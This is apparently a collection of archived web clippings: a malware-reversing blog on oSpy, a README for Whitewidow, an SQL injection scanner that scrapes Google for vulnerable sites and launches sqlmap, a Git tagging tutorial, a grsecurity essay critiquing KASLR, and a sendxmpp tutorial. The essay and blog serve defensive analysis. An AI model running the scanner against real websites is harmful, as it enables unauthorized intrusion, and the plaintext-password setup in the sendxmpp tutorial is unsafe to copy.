  * Export scripts for various tools \(Nagios , Sysmon , RANCID , Cacti , SmokePing \)
  * Multi-level user access: Admin, Operator, User

Here's a sketch of the architecture used

### Who Uses Netdot******?**¶

See some of  Netdot users here

Like us on Facebook**\!**

For a complete list of local wiki pages, see the index **.**

****

# Reversing malware with oSpy - Security Labs Blog

**Created:**| _5/12/2011 3:21:40 PM_  
---|---  
**Updated:**| _5/13/2011 1:24:58 PM_  
**Author:**| __  
**Tags:**| _Debugging windows iDA Malware-analysis network-security_  
  

# Archived Blog

Reversing malware with oSpy

**07.18.2008 - 4:45 PM**  

  

Today's blog will be about a tool called oSpy, written by Andre Vadla Ravnas.
oSpy is a tool which helps in reverse-engineering windows software. To
demonstrate the uses of this tool and how it helps with network traffic
monitoring, I have used a random malware sample from our repository.

<img src='img/Temp2_6969.png' />

Inside a VMWare instance I executed the malware sample with oSpy and monitored
the traffic.

ProcessExplorer shows that the malware excutable named x.exe was executed.

<img src='img/Temp2_6971.png' />

Below we can see that oSpy intercept the network traffic.

<img src='img/Temp2_6966.png' />

Lets take a closer look on the data...  
Here we can see that oSpy lets us know which network API function were
involved in the network communication.

<img src='img/Temp2_6968.png' width='697' height='154' />

oSpy also allows us to look at each piece of data that was sent and received
over the network.

<img src='img/Temp2_6970.png' />

From the network analysis we can see that sample malware was trying to
download a binary called 2.exe and 3.exe from a .CN website.

One of the key reasons you'd want to run oSpy as opposed to Wireshark is that
oSpy is a user-land monitoring program, allowing us to monitor only certain
applications as opposed to all network traffic. This way you get to see which
traffic is originating from which process. Since oSpy hooks into user-API
calls, it also has the nice feature of allowing us to sync API calls with the
IDA Pro Disassembler.

<img src='img/Temp2_6965.png' />

<img src='img/Temp2_6967.png' />

oSpy is nice and handy tool to have in your anti-malware tool-kit.

_Security Researcher_ : Moti Joseph

# WhitewidowScanner/whitewidow

**Created:**| _5/7/2017 10:21:50 AM_  
---|---  
**Updated:**| _5/7/2017 10:21:50 AM_  
**Author:**| __  
**Tags:**| _web-app-sec sql-injection_  
  

  

# Whitewidow

Whitewidow is an open source automated SQL vulnerability scanner, that is
capable of running through a file list, or can scrape Google for potential
vulnerable websites. It allows automatic file formatting, random user agents,
IP addresses, server information, multiple SQL injection syntax, ability to
launch sqlmap from the program, and a fun environment. This program was
created for learning purposes, and is intended to teach users what
vulnerability looks like.

# Screenshots

Launching whitewidow displays the custom designed banner and begins searching
for possible sites that could be vulnerable

<img
src='img/68747470733a2f2f7332342e706f7374696d672e6f72672f336e6a6f726d3375742f77686974657769646f775f62616e6e65722e706e67.png'
width='888' height='416' alt='banner credits legal new.png' />

Whitewidow is capable of finding vulnerabilities in websites by scraping
Google using over 1,000 different queries that are carefully researched before
added. It also uses multiple different SQL injection approaches

<img
src='img/68747470733a2f2f7332342e706f7374696d672e6f72672f79727967386f6f33702f73716c5f746573745f6572726f725f696e6a656374696f6e2e706e67.png'
width='888' height='196' alt='error' /> <img
src='img/68747470733a2f2f7332342e706f7374696d672e6f72672f3937773632393270782f73716c5f746573745f626c696e645f696e6a656374696f6e2e706e67.png'
width='888' height='183' alt='blind' /> <img
src='img/68747470733a2f2f7332342e706f7374696d672e6f72672f6c70327470657876702f73716c5f746573745f756e696f6e5f696e6a656374696f6e2e706e67.png'
width='888' height='163' alt='union' />

Whitewidow is also capable of spidering a single webpage for all available
links, it will then search for vulnerabilities in all the links using the
programs built in file feature

<img
src='img/68747470733a2f2f7332342e706f7374696d672e6f72672f7335627366693666392f77686974657769646f775f7370696465722e706e67.png'
width='888' height='611' alt='spider.jpg' />

And when all is said and done, and you're sure that you've found some
vulnerable sites, you can launch sqlmap from the program without the need of
downloading another clone.

<img
src='img/68747470733a2f2f7331372e706f7374696d672e6f72672f69733533753537366e2f31315f32305f73716c6d61702e706e67.png'
width='888' height='558' alt='sqlmap' />

# Download

Preferably clone repository, alternatively you can download zip and tarball
here

# Basic Usage

` ruby whitewidow.rb -d ` This will run whitewidow in default mode and scrape
Google for possible sites using a random search query.

` ruby whitewidow.rb -f path/to/file ` This will run whitewidow through a
given file and add the SQL syntax to the URL.

` ruby whitewidow.rb -h ` Will run the help flag along with show the help
menu.

For more information about usage and more flags you can checkout the wiki
functionality page here.

# Dependencies

  * ` gem 'mechanize' `
  * ` gem 'nokogiri' `
  * ` gem 'rest-client' `
  * ` gem 'webmock' `
  * ` gem 'rspec' `
  * ` gem 'vcr' `

To install all gem dependencies, follow the following template:

` cd whitewidow `

` bundle install `

This should install all gems needed, and will allow you to run the program
without trouble.

# Contribute

Being an open source project, feel free to contribute your ideas and open pull
request. You can fork it clone it do pretty much whatever you want to do with
it. For more information including copyright info please see the docs.

If you decide to contribute to this project, your name will go in the docs
under the author and credits file. It will remain there to show that you have
successfully contributed to Whitewidow. Thank you ahead of time for all
contributions, this project wouldn't exist without your help\!

# Contact the developer

If for any reason you need to contact me, please create an issue and check the
email request box. I will typically reply to your request within 48 hours of
receiving the request.

  

# Learn.GitHub - Git Tagging

**Created:**| _1/19/2011 9:28:52 AM_  
---|---  
**Updated:**| _1/19/2011 9:29:02 AM_  
**Author:**| __  
**Tags:**| _crypto Git_  
  

# Git Tagging

Create signed, unsigned or lightweight tags to permanantly mark important
points in your project history.

* * *
Like most VCSs, Git has the ability to ‘tag’ specific points in history as
being important - generally people use this to mark release points \(‘v1.0’,
etc\). In this lesson we will learn how to list the available tags, how to
create new tags, and what the different types of tags in Git are.

### listing tags

Simply listing the available tags in Git is very straightforward. Just type
‘git tag’.

[code]

    $ git tag
    v0.1
    v1.3
    
[/code]

This will just list them in alphabetical order, so there is no real importance
in what order they list out in.

You can also search for tags with a particular pattern. In the Git source repo
itself, for instance, there are over 240 tags. If you’re only interested in
looking at the 1.4.2 series, you could run this:

[code]

    $ ./git tag -l v1.4.2.*
    v1.4.2.1
    v1.4.2.2
    v1.4.2.3
    v1.4.2.4
    
[/code]

### creating tags

There are a two main types of tags in Git - lightweight and annotated.
Lightweight tags are very much like branches that don’t change - it’s just a
pointer to a specific commit. Annotated tags, however, are stored as full
objects in the Git database. They are checksummed, contain the tagger name,
email and date, have a tagging message and can be GPG signed and verified.
It’s generally recommended to create annotated tags so you can have all this
information, but if you want a temporary tag or for some reason don’t want to
keep that other information, lightweight tags are available too.

#### annotated tags

Creating an annotated tag in Git is very simple. The easiest way is just to
specify a **-a** when you run the ‘tag’ command.

[code]

    $ git tag -a v1.4 -m 'version 1.4'
    $ git tag
    v0.1
    v1.3
    v1.4
    
[/code]

The ‘-m’ specifies a tagging message, which is stored with the tag. If you
don’t specify it for an annotated tag, Git will launch your editor so you can
type it in.

You can see the tag data along with the commit that was tagged by using the
‘git show’ command:

[code]

    $ git show v1.4
    tag v1.4
    Tagger: Scott Chacon <schacon@gmail.com>
    Date:   Mon Feb 9 14:45:11 2009 -0800
    
    my version 1.4
    commit 15027957951b64cf874c3557a0f3547bd83b3ff6
    Merge: 4a447f7... a6b4c97...
    Author: Scott Chacon <schacon@gmail.com>
    Date:   Sun Feb 8 19:02:46 2009 -0800
    
        Merge branch 'experiment'
    
[/code]

That shows the tagger information, date it was tagged and the annotation
message before showing the commit information.

#### signed tags

You can also sign your tags with GPG, assuming you have a private key and
everything. All you have to do is use **-s** instead of -a.

[code]

    [master]$ git tag -s v1.5 -m 'my signed 1.5 tag'
    
    You need a passphrase to unlock the secret key for
    user: "Scott Chacon <schacon@gmail.com>"
    1024-bit DSA key, ID F721C45A, created 2009-02-09
    
[/code]

Then if you run a ‘git show’ on that tag, you can see your GPG signature
attached to it.

[code]

    [master]$ git show v1.5
    tag v1.5
    Tagger: Scott Chacon <schacon@gmail.com>
    Date:   Mon Feb 9 15:22:20 2009 -0800
    
    my signed 1.5 tag
    -----BEGIN PGP SIGNATURE-----
    Version: GnuPG v1.4.8 (Darwin)
    
    iEYEABECAAYFAkmQurIACgkQON3DxfchxFr5cACeIMN+ZxLKggJQf0QYiQBwgySN
    Ki0An2JeAVUCAiJ7Ox6ZEtK+NvZAj82/
    =WryJ
    -----END PGP SIGNATURE-----
    commit 15027957951b64cf874c3557a0f3547bd83b3ff6
    Merge: 4a447f7... a6b4c97...
    Author: Scott Chacon <schacon@gmail.com>
    Date:   Sun Feb 8 19:02:46 2009 -0800
    
        Merge branch 'experiment'
    
[/code]

A bit later, we’ll learn how to verify signed tags.

#### lightweight tags

Another way to tag commits is with a ‘lightweight’ tag. This is basically just
the commit checksum stored in a file - no other information is kept. To create
a lightweight tag, simply don’t supply the ‘-a’, ‘-s’ or ‘-m’ options.

[code]

    $ git tag v1.4-lw
    $ git tag
    v0.1
    v1.3
    v1.4
    v1.4-lw
    v1.5
    
[/code]

This time if we run ‘git show’ on that tag, we won’t see the extra tag
information, it will just show the commit.

[code]

    $ git show v1.4-lw
    commit 15027957951b64cf874c3557a0f3547bd83b3ff6
    Merge: 4a447f7... a6b4c97...
    Author: Scott Chacon <schacon@gmail.com>
    Date:   Sun Feb 8 19:02:46 2009 -0800
    
        Merge branch 'experiment'
    
[/code]

### verifying tags

To verify a signed tag, you just use ‘git tag -v \(tag\)’. That will use gpg
to verify the signature. You’ll need the signers public key in your keyring.

[code]

    $ git tag -v v1.4.2.1
    object 883653babd8ee7ea23e6a5c392bb739348b1eb61
    type commit
    tag v1.4.2.1
    tagger Junio C Hamano <junkio@cox.net> 1158138501 -0700
    
    GIT 1.4.2.1
    
    Minor fixes since 1.4.2, including git-mv and git-http with alternates.
    gpg: Signature made Wed Sep 13 02:08:25 2006 PDT using DSA key ID F3119B9A
    gpg: Good signature from "Junio C Hamano <junkio@cox.net>"
    gpg:                 aka "[jpeg image of size 1513]"
    Primary key fingerprint: 3565 2A26 2040 E066 C9A7  4A7D C0C6 D9A4 F311 9B9A
    
[/code]

If you don’t have the signers public key, you’ll get something like this
instead:

[code]

    gpg: Signature made Wed Sep 13 02:08:25 2006 PDT using DSA key ID F3119B9A
    gpg: Can't check signature: public key not found
    error: could not verify the tag 'v1.4.2.1'
    
[/code]

### tagging later

You can also tag commits after you’ve moved past them. If my commit history
looks like this

[code]

    $ git log --pretty=oneline
    15027957951b64cf874c3557a0f3547bd83b3ff6 Merge branch 'experiment'
    a6b4c97498bd301d84096da251c98a07c7723e65 beginning write support
    0d52aaab4479697da7686c15f77a3d64d9165190 one more thing
    6d52a271eda8725415634dd79daabbc4d9b6008e Merge branch 'experiment'
    0b7434d86859cc7b8c3d5e1dddfed66ff742fcbc added a commit function
    4682c3261057305bdd616e23b64b0857d832627b added a todo file
    166ae0c4d3f420721acbb115cc33848dfcc2121a started write support
    9fceb02d0ae598e95dc970b74767f19372d61af8 updated rakefile
    964f16d36dfccde844893cac5b347e7b3d44abbc commit the todo
    8a5cbc430f1a9c3d00faaeffd07798508422908a updated readme
    
[/code]

And I forgot to tag the project at ‘v1.2’, which was at the ‘updated rakefile’
commit, I can add it after the fact. To tag that commit, you can just specify
the commit checksum \(or part of it\) at the end of the command.

[code]

    $ git tag -a v1.2 9fceb02
    
[/code]

Now we can see that we’ve tagged the commit:

[code]

    $ git tag 
    v0.1
    v1.2
    v1.3
    v1.4
    v1.4-lw
    v1.5
    
    $ git show v1.2
    tag v1.2
    Tagger: Scott Chacon <schacon@gmail.com>
    Date:   Mon Feb 9 15:32:16 2009 -0800
    
    version 1.2
    commit 9fceb02d0ae598e95dc970b74767f19372d61af8
    Author: Magnus Chacon <mchacon@gmail.com>
    Date:   Sun Apr 27 20:43:35 2008 -0700
    
        updated rakefile
    ...
    
[/code]

### sharing tags

By default, the ‘git push’ command will not transfer tags to remote servers.
To do so, you have to explicitly add a **–tags** to the ‘git push’ command.

[code]

    [master]$ git push --tags
    Counting objects: 50, done.
    Compressing objects: 100% (38/38), done.
    Writing objects: 100% (44/44), 4.56 KiB, done.
    Total 44 (delta 18), reused 8 (delta 1)
    To git@github.com:schacon/simplegit.git
     * [new tag]         v0.1 -> v0.1
     * [new tag]         v1.2 -> v1.2
     * [new tag]         v1.4 -> v1.4
     * [new tag]         v1.4-lw -> v1.4-lw
     * [new tag]         v1.5 -> v1.5
    
[/code]

And now when someone else clones or pulls from your repository, they will get
all your tags as well.

# grsecurity forums • View topic - KASLR: An Exercise in Cargo Cult Security

**Created:**| _12/9/2013 5:40:11 PM_  
---|---  
**Updated:**| _12/30/2013 1:41:40 PM_  
**Author:**| __  
**Tags:**| _aslr kernel_  
  

# KASLR: An Exercise in Cargo Cult Security** **

by **spender** » Wed Mar 20, 2013 6:46 pm

Since this post about Kernel Address Space Layout Randomization \(KASLR\)
extends beyond a critique of the feature itself and into a commentary on the
state of commercial defensive security and how it is evaluated both by the
security community and by end-users, I asked the PaX Team to contribute some
valuable context to the discussion**.** As the creator of ASLR in 2001, he
shares below some history and motivations for ASLR at the time**.** His
exploit vector classification and ASLR analysis cover important nuances and
fundamental truths lost in the barrage of "bypasses" in the industry**.** I
continue later in more depth under the heading "Why KASLR is a Failure"**.**  
  
Before talking about KASLR it seems high time that we revisited a little
history regarding ASLR itself**.** About 12 years ago PaX had already proved
that there was in fact a practical way to prevent code injection attacks, the
prevalent exploit technique against memory corruption bugs at the time \(and
even today thanks to the widespread use of JIT compiler engines\)**.** It was
also clear that the next step for both sides would be to focus on executing
already existing code, albeit in an order not intended by the programmer of
the exploited application \(the market word for this is ROP/JOP/etc\)**.**
Much less relevant back then but there was always the possibility to exploit
these bugs by merely changing data and without disturbing the program logic
directly \(data only attacks, \[1\] \[2\]\)**.** Foreseeing these future
developments in practical exploit techniques made me think whether there was
perhaps some general way to prevent them or at least reduce their
effectiveness until specific reliable and practical defenses could be
developed against the remaining exploit techniques \(it was clear that such
defenses wouldn't come by as easily as non-executable pages, and alas, in
2013AD nobody has still much to show\)**.** In other words, ASLR was always
meant to be a temporary measure and its survival for this long speaks much
less to its usefulness than our inability to get our collective acts together
and develop/deploy actual defenses against the remaining exploit
techniques**.**  
  
In any case, thus was the concept of ASLR born which was originally called
\(for a whole week maybe <img src='img/Temp2_10277.gif' alt=';)' />\) ASR for
Address Space Randomization \(the first proof of concept implementation did in
fact randomize every single mmap call as it was the simplest
implementation\)**.**  
  
The concept was really simple: by randomizing memory addresses on a per
process basis we would turn every otherwise reliable exploit needing hardcoded
addresses into a probabilistic one where the chances of success were partially
controlled by the defense side**.** While simple in concept and
implementation, ASLR doesn't come without conditions, let's look at the them
briefly**.** For ASLR to be an effective prevention measure the following must
hold:  
  
1**.** the exploit must have to know addresses from the exploited process
\(there's a little shade of grey here in that, depending on the situation,
knowledge of partial addresses may be enough \(think partial or unaligned
overwrites, heap spraying\), 'address' is meant to cover both the 'full' and
'partial' conditions\),  
  
2**.** the exploit must not be able to discover such addresses \(either by
having the exploited application leak them or brute force enumeration of all
possible addresses\)  
  
These are conditions that are not trivially true or false for specific
situations, but in practice we can go with a few heuristics:  
  
1**.** remote attacks: this is the primary protection domain of ASLR by design
because if an exploit needs addresses at all, this gives an attacker the least
amount of a priori information**.** It also puts a premium on infoleaking bugs
on the attack side and info leak and brute force prevention mechanisms on the
defense side**.**  
  
2**.** local attacks: defense relying on ASLR here faces several challenges:  
  
\- kernel bugs: instead of attacking userland it is often better to attack the
kernel \(the widespread use of sandboxes often makes this the path of least
resistance\) where userland ASLR plays a secondary role only**.** In
particular it presents a challenge only if exploiting the kernel bug requires
the participation of userland memory, a technique whose lifetime is much
reduced now that Intel \(Haswell\) and ARM \(v6+\) CPUs allow efficient
userland/kernel address space separation**.**  
  
\- information leaks: the sad fact of life is that contemporary operating
systems have all by design features that provide address information that an
exploit needs and it's almost a whack-a-mole game to try to find and eliminate
them**.** Even with such intentional leaks fixed or at least worked around
there's still kernel bugs left that leak either kernel or userland addresses
back to the attacker**.** Eliminating these didn't receive much research yet,
the state-of-the-art being grsecurity but there is still much more work in
this area to be done**.**  
  
So how does KASLR relate to all this**?** First of all, the name itself is a
bit unfortunate since what is being randomized is not exactly what happens in
userland**.** For one, userland ASLR leaves no stone unturned so to speak**.**
That is, a proper ASLR implementation would randomize all memory areas and
would do so for every new process differently**.** There is no equivalent of
this mechanism for a kernel since once booted, the kernel image does not
change its location in memory nor is it practically feasible to re-randomize
it on every syscall or some other more coarse-grained boundary**.** In other
words, it's as if in userland we applied ASLR to a single process and kept
running it indefinitely in the hope that nothing bad would happen to it**.**
At this rate we could call the long existing relocatable kernel feature in
Linux KASLR as well since it's trivial to specify a new randomly chosen load
address at boot time there**.**  
  
Second, the amount of randomization that can be applied to the base address of
the kernel image is rather small due to address space size and memory
management hardware constraints, a good userland ASLR implementation provides
at least twice the entropy of what we can see in KASLR implementations**.** To
balance this deficiency there's usually already some form of inadvertent brute
force prevention present in that most kernels usually don't recover from the
side effects of failed exploit attempts \(Linux and its oops mechanisms being
an exception here\)**.**  
  
Third and probably the biggest issue for KASLR is its sensitivity to even the
smallest amounts of information leaks, the sheer amount of information leaking
bugs present in all kernels and the almost complete lack of prevention
mechanisms against such leaks**.**  
  
This situation came about because historically there was no interest until
very recently in finding such bugs let alone systematically eliminating them
or preventing their effects \(except on hardened systems such as grsecurity,
recognizing this fact early is the reason why we've been working on this
problem space for many years now\)**.** Based on our experience with Linux,
this will be a long drawn out uphill battle until such bugs are found or at
least their effects neutralized in KASLR based kernels**.**  
  
Why KASLR is a Failure  
  
Continuing where the PaX Team left off, it should begin to become clear that
ASLR has been taken out of the context of its original design and held on a
pedestal as something much more than what it was originally intended as: a
temporary fix until more effective measures could be implemented \(which have
much less to do with difficulty than the lack of resources on our side\)**.**  
  
Information leakage comes in various forms. For our purposes here we'll
consider two types of leakage: addresses and content, the former being a
subset of the latter**.** The leaks can have spatial locality \(say by leaking
a string whose null terminator has been overwritten\), be constrained in some
other way \(say due to an incomplete bounds check\), or be completely
arbitrary**.** They can also be active \(by creating a leak\) or passive
\(e**.** g**.** uninitialized struct fields\). Fermin J. Serna's 2012 talk,
"The info leak era on software exploitation" \[3\] covers lots of background
information and common vulnerabilities and techniques as they pertain to
userland**.**  
  
The KASLR implementations of Microsoft and Apple operate in an environment
where the kernel is a known entity whose contents can be obtained in a variety
of ways**.** While on a custom-compiled Linux kernel set up properly, both the
content and addresses of the kernel image are secret, for Microsoft and Apple
the contents of the kernel image are known**.** To use "ROP" against the
kernel, one needs to know not only the address of what one is returning to,
but also what exists at that address**.** So the only "secret" in KASLR is the
kernel's base address**.** It follows from this that any known pointer to the
kernel image reveals its base address**.**  
  
Due to operational constraints, however, the situation is even more dire**.**
iOS KASLR for instance uses only a small 8 bits of entropy**.** If this
weren't enough, the model is even further weakened from what we discussed
above as not even a known pointer is needed to reveal the kernel base
address**.** Any pointer to the kernel will reveal its base address via the
upper 11 bits \(the uppermost three bits are a given\)**.** The kernel is
mapped aligned to a 2MB boundary. In Stefan Esser's recent iOS presentation
\[4\] he called this 2MB alignment "arbitrary" wondering why there was no
smaller alignment**.** This alignment is not arbitrary at all and is in fact a
platform and performance-based constraint on ARM**.** "Sections," the ARM
equivalent of large pages on x86, are implemented in the short mode descriptor
format as 2MB first-level page table entries**.** This is why the iOS kernel
as mapped in memory is composed of one 2MB "text" region and one 2MB "data"
region -- because a page table entry is needed for each region to express
their different memory protections**.** The kernel is mapped using sections as
opposed to normal 4kB pages because it doesn't pollute the TLB with many
entries \(and potentially other reasons\)**.** Don't expect this alignment at
the page table level to change**.** Inside the kernel, leaks will exist in the
fixed-address vector mapping until it is relocated via TrustZone
extensions**.**  
  
KASLR has likewise been praised \[5\] out of context on OS X. Though the
latest version of OS X supports SMEP on Ivy Bridge processors \(the latest
generation of Intel Core architecture\), no processors are available yet that
support SMAP**.** OS X running with a 64bit kernel does not have the
userland/kernel memory separation people have been used to in years past**.**
Though similar memory separation is possible without SMEP/SMAP on the 64bit
kernel from the "no\_shared\_cr3" boot argument \(thanks to Tarjei Mandt for
pointing me to this\), it is unlikely that anyone is running in this mode as
it imposes a severe performance hit \(upwards of 30%+ with today's TLB
architectures and sizes\)**.** Since cr3 is swapped on changing between a
kernel-only and shared address space, cr3 modifications \(and thus implied TLB
flushes\) occur on kernel entry, kernel exit, and before and after every copy
to/from userland**.** Therefore, without SMEP, arbitrary code execution is
trivially done in userland**.** Without SMAP, crafted data for sensitive APIs
or ROP payloads can be easily stored in userland, removing any need for
reliable storage addresses in the kernel**.**  
  
Information leaks are the critical weakness of ASLR, and KASLR amplifies this
weakness**.** Bases are only randomized once at boot, and \(at least OS
X/iOS's\) heap/stack randomization is weak and irrelevant over time**.** For
every usable privilege escalation vulnerability found, at least one usable
infoleak will exist**.** Obvious infoleaks will be fixed by Apple and
Microsoft \(e**.** g. NtQuerySystemInformation\), but other infoleak sources
will prove more difficult to eradicate**.** Uninitialized structure fields can
very easily creep into code \(as we've seen time and again in Linux\)**.**
Improper use of certain string routines like snprintf\(\) can cause
infoleaks**.** Pointers get used as unique IDs \[6\], pointers are
printed**.** Structure padding often introduces infoleaks, especially on 64bit
architectures**.** An OS that had 32bit kernels only until very recently
switching to 64bit might find many infoleaks suddenly appearing due to this
structure padding if one were to look**.** Linux has been struggling with
infoleaks for years and even still they're readily found**.** Mathias Krause
found 21 of them recently in the Linux kernel \[7\], and "3" more even more
recently \[8\]**.** I say "3" because if you look at the first commit, for
instance, you'll see 8 infoleaks being fixed in a single file**.** 13
infoleaks rolled up into one CVE -- tidy. During the writing of this article,
even, I discovered a new infoleak in the Linux kernel that would have evaded
any kind of manual code analysis**.** An unsanitized field that turned into a
limited local ASLR infoleak was found via PaX's size\_overflow plugin recently
as well that evaded manual inspection by the "many eyes" for years \[9\]**.**
This vulnerability goes back to Linux 1.3**.** 0 \(yes you read that
correctly, from 1995 -- 18 years\)**.**  
  
Of important note is that large infoleaks via these bugs are rare \(and we've
taken many steps in grsecurity to further reduce the possibility of leaks
through approved copying interfaces\)**.** What is not rare are small leaks,
large enough to leak pointers**.** The leaks are often local to the source of
the bug**.** An uninitialized heap struct might leak pointers, but it will
never directly leak code from the kernel image**.** Uninitialized stack
entries can be coerced into providing desired pointers from previous
syscalls**.** All these things mean it's much more likely to leak addresses
that would reveal all useful "secrets"**.** These secrets are the translations
between addresses and known content, and their discovery enables full scale
ROP**.** It's much less likely that content itself will be leaked in
quantities sufficient enough for the same kind of attack**.** While Halvar's
famous quote "you do not find info leaks..**.** you create them" rings true
for much userland exploitation, in the kernel you will come to know that it is
much easier \(and safer\) to find info leaks than create them**.**  
  
We've seen this kind of cargo cult security before \[10\] \[11\], of copying
techniques into a different environment and via a kind of post hoc, ergo
propter hoc logic fallacy, assuming the technique in its new environment will
provide the same security**.** The kptr\_restrict sysctl currently exists in
the upstream Linux kernel and in most modern distros**.** It was derived from
my GRKERNSEC\_HIDESYM feature and submitted upstream by Dan Rosenberg
\[12\]**.** The intent of the feature was to not leak kernel pointers to
userland via /proc interfaces, symbol lists, etc**.** While the configuration
help for GRKERNSEC\_HIDESYM mentioned explicitly three things that needed to
hold true for the feature to be useful at all, among them being that the
kernel was not compiled by a distribution and that the kernel and associated
modules, etc on disk are not visible to unprivileged users, you'll note that
nowhere in the commit message or the in-kernel documentation for
kptr\_restrict is any kind of qualification for its efficacy mentioned**.** So
what do we see as a result of this? Take Ubuntu \[13\]:

> When attackers try to develop "run anywhere" exploits for kernel
> vulnerabilities, they frequently need to know the location of internal
> kernel structures**.** By treating kernel addresses as sensitive
> information, those locations are not visible to regular local users**.**
> Starting with Ubuntu 11.04, /proc/sys/kernel/kptr\_restrict is set to "1" to
> block the reporting of known kernel address leaks**.** Additionally, various
> files and directories were made readable only by the root user:
> /boot/vmlinuz\*, /boot/System.map\*
All of it utterly useless as every one of these files is publicly available to
anyone, including the attacker**.** And so the false security spreads.  
  
KASLR is an easy to understand metaphor**.** Even non-technical users can make
sense of the concept of a moving target being harder to attack**.** But in
this obsession with an acronym outside of any context and consideration of its
limitations, we lose sight of the fact that this moving target only moves once
and is pretty easy to spot**.** We forget that the appeal of ASLR was in its
cost/benefit ratio, not because of its high benefit, but because of its low
cost**.** A cost which becomes not so low when we consider all the weaknesses
\(including the side-channel attacks mentioned in the paper that triggered
this whole debate \[14\] which have not been covered in this article for
various reasons, mostly because I don't want to sway the many optimists that
popped up away from their firmly held beliefs that these are the only problems
of this kind that can and will be fixed \[15\]\)**.** KASLR is more of a
marketing tool \(much like the focus of the rest of the industry\) than a
serious addition to defense**.** Many other strategies exist to deal with the
problem KASLR claims to deal with**.** To use some wording from the PaX Team,
the line of reasoning is: we need to do something**.** KASLR is something**.**
Let's do KASLR. "Make attacks harder" is not a valid description of a
defense**.** Nor is "it's better than nothing" an acceptable excuse in the
realm of security**.** If it is, then we need to give up the facade and admit
that these kinds of fundamentally broken pseudo-mitigations are nothing more
than obfuscation, designed to give the public presence of security while
ensuring the various exploit dealers can still turn a profit off the many
weaknesses**.**  
  
The details matter.  
  
Consider this our "I told you so" that we hope you'll remember in the coming
years as KASLR is "broken" time and again**.** Then again, in this offensive-
driven industry, that's where the money is, isn't it**?**  
  
\[1\] http://static.usenix.org/event/sec05/te ..**.** n/chen.pdf  
\[2\] http://www.cs.princeton.edu/~dpw/papers/yarra-csf11.pdf  
\[3\] http://media.blackhat.com/bh-us-12/Brie ..**.** Slides.pdf  
\[4\] http://www.slideshare.net/i0n1c/csw2013 ..**.** 0dayslater  
\[5\] https://twitter.com/aionescu/status/312945665888120832  
\[6\] http://lists.apple.com/archives/darwin- ..**.** 00012.html  
\[7\] http://www.openwall.com/lists/oss-security/2013/03/07/2  
\[8\] http://seclists.org/oss-sec/2013/q1/693  
\[9\] viewtopic.php**?** f=7&t=2521  
\[10\] viewtopic.php**?** f=7&t=2574  
\[11\] https://lkml.org/lkml/2013/3/11/498  
\[12\] https://lwn.net/Articles/420403/  
\[13\] https://wiki.ubuntu.com/Security/Features  
\[14\] http://scholar.googleusercontent.com/sc ..**.** oogle.com/  
\[15\] 3a5f33b4af2ffbc27530087979802613fae8ed3ce0ae10e41c44c2877a76605b** **

# Send Instant Messages \(Notifies\) By XMPP \(Jabber/Google Talk\) From Linux Command Line | HowtoForge - Linux Howtos and Tutorials
**Created:**| _7/30/2013 10:31:05 AM_  
---|---  
**Updated:**| _7/30/2013 10:31:05 AM_  
**Author:**| __  
**Tags:**| _monitoring_  
  

# **S** end Instant Messages \(Notifies\) By XMPP \(Jabber/Google Talk\) From
Linux Command Line****

**sendxmpp** is a perl-script to send xmpp \(jabber\), similar to what mail
does for mail**.** Sendxmpp was written by Dirk-Jan C. Binnema, and is
available under the terms of the GNU GPLv2**.** The hard work is done by Ryan
Eatmon's Net::XMPP-modules, and you need to have them installed for Sendxmpp
to work**.** Obviously, to use sendxmpp , you need a jabber account; they are
freely available at jabber.org, but you can also run your own server**.** The
good news is, instant messaging between the Google Talk servers and its
clients uses an open protocol, XMPP, allowing users of other XMPP/Jabber
clients to communicate with Google Talk users**.** For more information visit
Sendxmpp Web Site **.**

This tutorial shows how you can compile and install SendXMPP on CentOS 5**.**
5 server**.**

I do not issue any guarantee that this will work for you**\!**

### Install XMPP Perl Module****

Net::XMPP provides a Perl user with access to the Extensible Messaging and
Presence Protocol \(XMPP\)**.**

perl -MCPAN -e shell  
o conf prerequisites\_policy follow  
o conf commit  
install Net::XMPP IO::Socket::SSL exit

### Install SendXMPP****

sendxmpp is a perl-script to send xmpp \(jabber\), similar to what mail does
for mail**.** Google Talk servers and its clients uses an open protocol, XMPP,
allowing users of other XMPP/Jabber clients to communicate with Google Talk
users**.**

cd /tmp  
wget http://sendxmpp.platon**.** sk/sendxmpp-0**.** 0.8.tar.gz  
tar -xvf sendxmpp-0.0**.** 8.tar.gz  
cd sendxmpp-0.0.8

NOTE**\!****\!**\! : Patch SendXMPP to work with Google Talk \(GTalk\)**\!**

wget 'http://platon.sk/cvs/cvs.php/\_\_\_checkout\_\_\_/sendxmpp/sendxmpp**?**
rev=1.22&content-type=text/plain' -O sendxmpp.orig  
mv -f sendxmpp.orig sendxmpp  
perl Makefile**.** PL  
make  
make install

NOTE1: this will install under /usr/local/**.** If you want to install
somewhere else you could do : perl Makefile**.** PL PREFIX=/usr.

### Create Sendxmpprc file****

echo "\# my account" > ~/.sendxmpprc  
echo "mygmailuser@gmail.com;talk.google.com mygmailpassword" >> ~/.sendxmpprc  
chmod 700 ~/.sendxmpprc  
cp -v ~/.sendxmpprc /etc/sendxmpprc

### Sendxmpp Examples****

echo "This is a test IM" | sendxmpp -t -u mygmailuser -o gmail.com -p mygmailpassword receivergmailuser@gmail.com 
The above example sends a "This is a test IM" text message from
mygmailuser@gmail.com account to the receivergmailuser@gmail.com account**.**

echo "This is a test IM" | sendxmpp -t -u mygmailuser -o gmail.com -p mygmailpassword receivergmailuser@gmail.com poustchi@jabber**.** at 
The above example sends a "This is a test IM" text message from
mygmailuser@gmail.com account to the receivergmailuser@gmail.com and
poustchi@jabber**.** at accounts.

echo "This is a test IM" | sendxmpp -t -u user1 -p pass1 -j jabber.org user2@jabber**.** at 
The above example sends a "This is a test IM" text message from
user1@jabber.org account to the user2@jabber**.** at account.

echo "This is a test IM" | sendxmpp -f /etc/sendxmpprc -t -u mygmailuser -o gmail.com -p mygmailpassword receivergmailuser@gmail.com 
The above example sends a "This is a test IM" text message from
mygmailuser@gmail.com account to the receivergmailuser@gmail.com account**.**

cd  
vim .bashrc  
echo "Logged into "$\(hostname\)" at "$\(date\) | sendxmpp -f /etc/sendxmpprc -t -u mygmailuser -o gmail.com -p mygmailpassword receivergmailuser@gmail.com 
The above example sends an IM message when a user logs into the server**.**

### Jabber IM Clients****

1- Psi  is a free instant messaging application designed for the Jabber IM
network \(including Google Talk\)**.** Fast and lightweight, Psi is fully
open-source and compatible with Windows, Linux, and Mac OS X.  
2- Pidgin , the universal chat client**.**  
3- See more software clients on xmpp.org **.**

### Jabber/XMPP Server List****

See the followig link to find out which service provider\(s\) is good for
you**.**

